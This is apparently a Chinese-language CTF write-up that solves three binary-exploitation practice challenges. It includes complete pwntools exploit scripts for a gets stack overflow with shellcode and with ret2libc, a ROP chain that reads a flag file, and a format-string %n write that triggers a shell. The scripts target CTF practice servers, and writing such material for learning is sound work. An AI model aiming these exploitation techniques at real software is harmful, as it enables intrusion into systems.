本文最后更新于 2025-12-01T23:05:02+08:00
ciscn_2019_n_5 checksec一下:
1 2 3 4 5 6 7 8 9 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
64位程序,没有金丝雀,NX关闭,栈可执行,想到shellcode
查看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main (int argc, const char **argv, const char **envp) { char text[30 ]; setvbuf(stdout , 0LL , 2 , 0LL ); puts ("tell me your name" ); read(0 , name, 0x64u LL); puts ("wow~ nice name!" ); puts ("What do you want to say to me?" ); gets(text); return 0 ; }
存在危险函数gets,可利用栈溢出
偏移量:0x20 + 0x8
gdb调试,vmmap查看权限:
1 2 3 4 5 6 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x400000 0x401000 r-xp 1000 0 /home/ghostfoxy/CTF/ciscn_2019_n_5 0x600000 0x601000 r--p 1000 0 /home/ghostfoxy/CTF/ciscn_2019_n_5 0x601000 0x602000 rw-p 1000 1000 /home/ghostfoxy/CTF/ciscn_2019_n_5
能看到name段是可写的,所以考虑将shellcode注入name数组里
name数组的地址:
1 2 3 .bss:0000000000601080 public name .bss:0000000000601080 ; char name[100] .bss:0000000000601080 name db 64h dup(?) ; DATA XREF: main+35↑o
完整利用代码:
1 2 3 4 5 6 7 8 9 10 from pwn import * context.log_level = 'debug' p = remote("node5.buuoj.cn" ,28786 ) offset = 0x20 + 0x8 p.recvuntil(b'name' ) p.sendline(asm(shellcraft.sh())) p.recvuntil(b'me?' ) payload = offset * b'a' + p64(0x601080 ) p.sendline(payload) p.interactive()
执行代码拿到shell
另一种方法可以用ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import * context.log_level = 'debug' p = process("./ciscn_2019_n_5" ) elf = ELF('./ciscn_2019_n_5' ) offset = 0x20 + 0x8 puts_plt_addr = elf.plt['puts' ] puts_got_addr = elf.got['puts' ] ret_addr = 0x4004c9 pop_rdi = 0x400713 main_addr = 0x400636 p.sendlineafter(b'tell me your name\n' ,b'name' ) payload1 = offset * b'a' + p64(pop_rdi) + p64(puts_got_addr) + p64(ret_addr) + p64(puts_plt_addr) + p64(main_addr) p.sendlineafter(b'What do you want to say to me?\n' ,payload1) puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) payload2 = offset * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) p.sendlineafter(b'tell me your name\n' ,b'name' ) p.sendlineafter(b'What do you want to say to me?\n' ,payload2) p.interactive()
执行程序拿到flag
not_the_same_3dsctf_2016 checksec一下:
1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位程序,NX开启
查看源代码:
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { _BYTE v4[45 ]; printf ("b0r4 v3r s3 7u 4h o b1ch4o m3m0... " ); gets(v4); return 0 ; }
危险函数gets存在,所以利用思路是栈溢出
还存在另外一个有用的函数get_secret:
1 2 3 4 5 6 7 8 int get_secret () { int v0; v0 = fopen("flag.txt" , &unk_80CF91B); fgets(&fl4g, 45 , v0); return fclose(v0); }
函数作用是将flag.txt的内容存入fl4g变量,但并没有输出。手动构造ROP
查看汇编,发现main函数没有把ebp压入栈中:
1 2 3 4 5 6 7 8 9 10 .text:080489E0 sub esp, 3Ch .text:080489E3 mov [esp+3Ch+var_3C], offset aB0r4V3rS37u4hO ; "b0r4 v3r s3 7u 4h o b1ch4o m3m0... " .text:080489EA call printf .text:080489EF lea eax, [esp+3Ch+var_2D] .text:080489F3 mov [esp+3Ch+var_3C], eax .text:080489F6 call gets .text:080489FB xor eax, eax .text:080489FD add esp, 3Ch .text:08048A00 retn .text:08048A00 main endp
偏移量:0x2D
利用思路:填充缓冲区后跳转get_secret函数,执行完读取操作后,将返回的函数改成write函数并打印fl4g变量的值
1 payload = offset * b'a' + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1 ) + p32(fl4g_addr) + p32(45 )
完整构造exp:
1 2 3 4 5 6 7 8 9 10 11 from pwn import * context.log_level = 'debug' p = remote('node5.buuoj.cn' ,28670 ) get_secret_addr = 0x080489A0 write_addr = 0x806e270 fl4g_addr = 0x080ECA2D offset = 0x2D exit_addr = 0x804e660 payload = offset * b'a' + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1 ) + p32(fl4g_addr) + p32(45 ) p.sendline(payload) p.interactive()
jarvisoj_fm checksec一下:
1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
32位程序,金丝雀开启,NX开启
IDA查看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[80 ]; unsigned int v5; v5 = __readgsdword(0x14u ); be_nice_to_people(); memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x50u ); printf (buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
一看就是格式化字符串漏洞。
泄漏偏移:11
1 2 3 4 ./fm AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p AAAA 0xffd97d2c 0x50 0xf7f2b000 0xf7ef2540 0xffffffff 0x8048034 0xffd97e44 0xf7f2b608 0x20 0x38 0x41414141 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 3!
可以看到,字符串AAAA在偏移量为11的位置的栈上的数据,被当作是地址的值解析并输出,所以我们的读写操作只能发生在栈上第11个位置。
寻找变量x的地址:0x804a02c
1 2 3 gdb fm p &x$1 = (<data variable, no debug info> *) 0x804a02c <x>
构造payload:
1 payload = p32(0x804a02c ) + b'%11$n'
构造exp:
1 2 3 4 5 from pwn import * p = remote('node5.buuoj.cn' ,29184 ) payload = p32(0x804a02c ) + b'%11$n' p.sendline(payload) p.interactive()
执行程序拿到shell